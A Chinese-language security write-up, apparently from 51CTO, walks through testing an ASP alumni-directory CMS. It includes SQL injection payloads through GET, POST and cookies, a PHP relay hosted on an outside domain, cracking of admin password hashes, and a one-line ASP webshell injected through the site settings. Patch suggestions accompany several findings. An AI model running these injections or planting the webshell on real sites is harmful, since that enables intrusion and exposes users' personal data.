不懂ASP也照樣挖漏洞 記一次CMS型校友錄的安全檢測
原創【51CTO.com 獨家特稿】幾乎每個公司或團體都會建立自己的網站,但由于各種原因,大部分人會使用網上 公 布的一些CMS來構建自己的網 站,但卻很少有人會關注自己使用的CMS是否安全。下面存在漏洞的校友錄就是一個 很好的例子,攻破后,校友的個人信息將全部泄露。
一、對某CMS的初步安檢
1.初步查看
某日,在安天365群里,同伴發過來一個網址,讓我友情檢測一下該網站的
安全,打開后感覺 人氣還不錯,界面也比較簡潔 。如圖1所示。
![]() |
圖1 |
2.簡單的安全測試
打開網站一看原來是個校友錄,隨便找個帶參數的地方,加個單引
號,http://www.*********.com/gg.asp?id=100',
返回的 結果如圖2所示。
![]() |
圖2 |
很明顯,程序做了防注入的處理,看來程序開發者還有點安全意識,做了一些安全措施,不過后來證明,防注
入也 只是檢測了GET方法,并 未對POST和COOKIE做檢測。正準備測試cookie注入,同伴kiss傳了個源代碼過來,
有源代碼就 好辦了,還是在本地測試安全,網上的畢竟是未 經授權的安全檢測,多少存在一些風險。
#p#
二、在本地進行安全測試
1.搭建測試環境
把校友錄的源代碼復制到IIS的web目錄下,打開瀏覽器瀏覽http://192.168.1.5/txl/,結果如圖3所示。
![]() |
圖3 |
2.安裝組件
很顯示,我本地服務器不支持它的組件,先看說明。在安裝說明里有這么
一句“組件安裝方法 ,將 該組件復制到 C:\WINDOWS\system32里,并將此權限設置成允許網站訪問組的“完全
控制權限”。例:將 everyone設置 成“完全控制”。然后在“開始/運行 ”中輸入‘regsvr32 yvsy.dll’,卸
載方式為‘regsvr32 yvsy.dll -u’”。照 著它的方法注冊了組件,如圖4所示。
![]() |
圖4 |
3.搭建試驗環境成功
注冊成功后,再次瀏覽http://192.168.1.5/txl/,一切正常了,后面 開始檢測該CMS的安全漏
洞。如圖5所示。
![]() |
圖5 |
#p#
三、挖掘并查找安全漏洞
1.解密CMS源代碼
使用Editplus編輯器打開CMS下的源代碼,發現程序作者對部分源代
碼使用了Encoder加密,如圖6所示。
![]() |
圖6 |
2.解密源代碼
為了方便查看源代碼,首先對它們進行解密,到網上下載asp腳本解密工
具,打開,選擇源代碼所 在目錄,如圖7所示。
![]() |
圖7 |
點擊“開始解密”,幾秒鐘后就可以對文件夾下所有asp文件解密。解密后的代碼如圖8所示。
![]() |
圖8 |
說明:
(1)其實,使用Encoder對asp腳本加密沒什么必要,因為對于asp腳本解密太簡單了,于其花時間
在加密 腳本上,不如將時間花在寫更安全的代碼上。
(2)什么是Encoder加密?
Asp Encoder是微軟推出的一套算法,并提供了一個命令行下的腳本加密工具
。 Script Encoder的特點是:它只加密頁面中嵌入的腳本代碼,其他部分,如HTML的TAG仍然保持原樣不變。處
理后的文件 中被加密過的部分為只讀內容,對加密部分的任何修改都將導致 整個加密后的文件不能使用。
Script Encoder加密過的 ASP文件還將使Script Debugger之類的腳本調試工具失效。
3.查找SQL注入點
因為代碼還挺多的,不想一個個看,所以通過正則表達式來查找可能
存在注入的文件,之后再 慢慢看。打開EditPlus,點擊“搜索”->“在文件中查找”,彈出的對話框,查找內
容填寫 “((select|update|delete)+.*(from|set)+.*(where)+.*)”,文件類型填寫“*.asp”,文件夾選擇校
友錄所在的文件 夾,再把“包含了文件夾”和“正則表達式”選項選上,如圖9所示。
![]() |
圖9 |
此正則表達式的意思是查找文件夾下所有的asp文件,如果包含select、update和delete這些SQL語句,就顯示 出來。 只花了一秒鐘,結果出來了,有68個文件使用到SQL語句,如圖10所示。
![]() |
圖10 |
圖10 查詢結果
說明:
在編寫處理字符串的程序或網頁時,經常會有查找符合某些復雜規
則的字 符串的需要。正則表達式就是用于描述這些規則的工具。換句話說,正則表達式就是記錄文本規則的代碼
。很可能你使 用過Windows/Dos下用于文件查找的通配符(wildcard),也就是*和?。如果你想查找某個目錄下的
所有的Word文檔的話, 你會搜索*.doc。在這里,*會被解釋成任意的字符串。和通配符類似,正則表達式也是用
來進行文本匹配的工具,只不 過比起通配符,它能更精確地描述你的需求——當然,代價就是更復雜——比如你
可以編寫一個正則表達式,用來查找 所有以0開頭,后面跟著2-3個數字,然后是一個連字號“-”,最后是7或8
位數字的字符串(像010-12345678或0376- 7654321)。
4.初審代碼
(1)查看app.asp文件源代碼
在查詢結果中先查看app.asp文件,如圖11所示。
![]() |
圖11 |
第二行bid=clng(request("bid"))把bid的值轉為Long子類型,如果request的值不為數字,則會出現錯誤。如 圖12所 示。CLng 函數可返回表達式,此表達式已被轉換為 Long 子類型的 Variant。
![]() |
圖12 |
注意:值的范圍必須是在-2147483648 和 2147483647之間。
(2)分析bbsadd.asp文件
于是繼續分析下一個文件,bbsadd.asp文件,第406-409行:
406 < %repquote=request("repquote")
407 if repquote<>"" then
408 rs.open "select userid,cantent from [bbs] where id="&repquote&"",conn,1,1
409 reContent=obj.GetReContent(rs("cantent"))
很明顯,repquote參數未做任何過濾,直接放入SQL語句中,造成SQL注入。分析此文件得知,當引用別人的帖子 回復時,觸發此 SQL注入。先瀏覽一下http://192.168.1.4/txl/bbsadd.asp? aid=2&bid=3&action=reply&repquote=2,返回正常,如圖13所示。![]() |
圖13 |
再加個單引號http://192.168.1.4/txl/bbsadd.asp? aid=2&bid=3&action=reply&repquote=2'返回圖2一樣防注入的頁面,我在源代碼中一直找不到 防注的 代碼,應該是存在它的組件中。看似沒有辦法注入了,但我們還有POST和COOKIE注入沒有試,先試POST方 法,直 接把URL 放到pangolin里,選擇POST,在高級選項里讀取cookie,點檢測,一會,結果就出來了,如圖14 所示。
![]() |
圖14 |
pangolin別看它是英文界面,它可是國人ZwelL寫的一款Windows平臺下的自動化SQL注入滲透測試工具。他實 現了 從檢測到利用完成一體化的滲透攻擊動作,盡可能的將攻擊效果最大化。
(3)測試COOKIE注入
再測試COOKIE注入,先依次在瀏覽器地址欄輸入:
http://192.168.1.4/txl/bbsadd.asp?
aid=2&bid=3&action=reply&repquote=2 正常
javascript:alert
(document.cookie="repquote="+escape("2 and 1=1"));
http://192.168.1.4/txl/bbsadd.asp?
aid=2&bid=3&action=reply 正常
javascript:alert(document.cookie="repquote="+escape("2
and 1=2"));
http://192.168.1.4/txl/bbsadd.asp?
aid=2&bid=3&action=reply 不正常,如圖15所示。
![]() |
圖15 |
修補建議:把406行改為repquote =obj.regstr(request.form("repquote"))
小知識:什么是POST注入和COOKIE注入?
通常http請求不外乎 GET和POST兩種方法,也就是說如果服務端
要從客 戶端獲取參數值的話,一般是使用Request.QueryString("name")或者Request.Form("name")方法,也可
以合成 Request ("name"),一般防注入程序只是對這兩種方法提交的值作了過濾,而忽視了另外一種方法,那就
是 Request.Cookie ("name"),所以造成了COOKIE注入。
(3)繼續分析源代碼
繼續一個個文件進行分析,其它文件沒發現什么問題,一直來到登錄文件login.asp。看28-35行:
28 if request ("submi")=1 then 29 if comeurl="" Then ShowError("請在頁面里登錄") 30 xyluser=request.form ("xyluser") 31 xylpwd=md5(request.form("xylpwd")) 32 if xyluser="" or xylpwd="" Then ShowError("用 戶名和密碼不可以為空") 33 rs.open "select id,password,lastdate,logins,lastip,sitejob,sitemoney,isclose from user where username='"&xyluser&"'",conn,1,3 34 If Rs.eof and Rs.bof Then ShowError("你的用 戶名不存在") 35 if rs("password")<>xylpwd Then ShowError("你的密碼錯誤") |
http://192.168.1.4/txl/login.asp?xylpwd=m3m3.com&CkiExp=31&submi=1&loginsubmit=%BB%E1%D4%B1% B5%C7%C2%BC&xyluser=n3tl04d。如圖16所示。
![]() |
圖16 |
雖然不能使用POST直接注入,但可以通過一個php腳本來轉發數據包來注入,中轉腳本如下:
dddddddddddddd
ddddddddd
把此腳本放在一個支持CRUL的PHP空間上,同時還要magic_quotes_gpc =
off, 如果magic_quotes_gpc = on,輸入的單引號會被轉義為“\'”,然后瀏覽http://www.n3tl04d.mil/post4.php?id=n3tl04d,如圖17所示。
![]() |
圖17 |
把http://www.n3tl04d.mil/post4.php? id=n3tl04d放到Pangolin注入,如圖18所示。
![]() |
圖18 |
修補建議:把第30行改為xyluser =obj.regstr(request.form("xyluser"))
(4)分析后臺文件adminbj.asp文件
分析后臺文件adminbj.asp文件,先看代碼
10
11 type2=request("type2")
12 bjid=request("bjid")
13 Select Case type2
14 Case "edit":
……(略去無關代碼)
101 sub edit
102 sql="select * from bj where id="&bjid&""
103 rs.open sql,conn,1,1%>
很明顯,未對傳入參數bjid的值未做任何過濾,直接放 入 SQL語句中,
http://192.168.1.4/txl/admin/adminbj.asp?type2=edit&bjid=1,又是一個 注入, 但只能POST或COOKIE
注入,不過此此注入算是雞肋的注入,因為要登錄才能注入,沒什么實際意義。同樣的注入出現在后臺多個文
件了, 這里就不一一寫出來了。
#p#
四、后臺拿shell
1.猜解后臺密碼
后臺登錄有兩個密碼,這兩個密碼都存在admin表中,所以猜解admin
的表段時,需要手動添加 password2
第二個密碼的表段,使用pangolin猜解,等一會,兩個密碼都猜出來了,如圖19所示。
![]() |
圖19 |
2.破解密碼并登錄后臺
把d42683b3df678c61和c39059a89ab77d84拿到www.cmd5.com去解密,密碼分別是admin1和admin2。拿去登錄后臺,成功。
如圖20所示。
![]() |
圖20 |
這里不太明白,為什么開發者使用兩個登錄密碼,而兩個密碼放在同一表里,這里對安全性并沒有太大的提高 。應該把第二個密碼使用其它加密方式單獨寫入一個asp文件中,這樣安全性不是有更大的提高?
3.插入一句話后門
查看一下siteinfo.asp文件,此文件是網站的一些信息配置文件,而后臺
admin/siteinfo.asp對此配置文件編輯時,并不會對表單的值進行過濾,就給攻擊者在配置文件寫入一句話木馬
的機會。在管理后臺,點擊站點參數,在網址欄輸入:<%execute(request
("n"))%><%'/">http://"%><%execute(request("n"))%><%',如圖21所示。
![]() |
圖21 |
4.使用Lanker的Webshell連接后臺
使用lanker微型PHP+ASP管理器1.0雙用版連接http://192.168.1.4/txl/siteinfo.asp,如圖22所示,成
功獲得Webshell,之后可以上傳大馬,做進一步提權滲透測試。
![]() |
圖22 |
說明:
此方法會造成網站無法正常瀏覽,在上傳大馬后,應及時恢復原配置文件siteinfo.asp。
#p#
五、直接拿webshell
本來這是在最前面測試的,但由于各種原因,我把它放最后。數據庫是以asp文件存在,如果使用者沒更改默 認數據庫文件,那么就在可以輸入的地方往數據庫內插入一句話木馬,直接得到webshell。于是查找所有文件中 包含“request.form”的文件,最后在note.asp文件中發現,程序未對客戶輸入的內容做任何過濾,可以把一句 話木馬直接插入數據庫內。
if request("type2")="add" then rs.open "select * from note1 where userid="&session("xyluserid")&"",conn,1,3 If Rs.eof Then rs.addnew response.write "添加成功" rs("userid")=session ("xyluserid") end if rs("content")=request.form("content") rs.update rs.close response.write "修改成功" end if |
![]() |
圖23 |
原因是數據庫中存在nodown表,做了防下載處理,不過應該可以突破,但本人能力有限,未能進一步突破。
安全小知識:如何建立nodown防下載表?
首先,用notepad新建一個內容為“<%”的文本文件,隨便起
個名字存檔。
接著,用Access打開您的數據庫文件,在最后新建一個表,隨便起個名字,在表中添加一個OLE
對象的字段,然后添加一個記錄,插入之前建立的文本文件,如果操作正確的話,應該可以看到一個新的名為“
數據包”的記錄。
#p#
六、總結
由于本人不懂ASP,能力有限,所以此次檢測并沒有太深入,還有一些XSS跨站攻擊和上傳等也未進行測試,總
體來說,這套CMS的安全性還是可以的,如果管理員密碼設置復雜一些,登錄不了后臺,那也無法拿到webshell。
個人認為在選擇CMS時,選擇一些成熟的CMS產品安全性會高些,同時也應該把數據庫文件和配置文件的名稱改復
雜一些。
【51CTO.COM 獨家特稿,轉載請注明出處及作者!】
【編輯推薦】


2011-09-27 10:35:44
2009-01-06 15:20:01
2014-08-11 09:31:52





51CTO技術棧公眾號
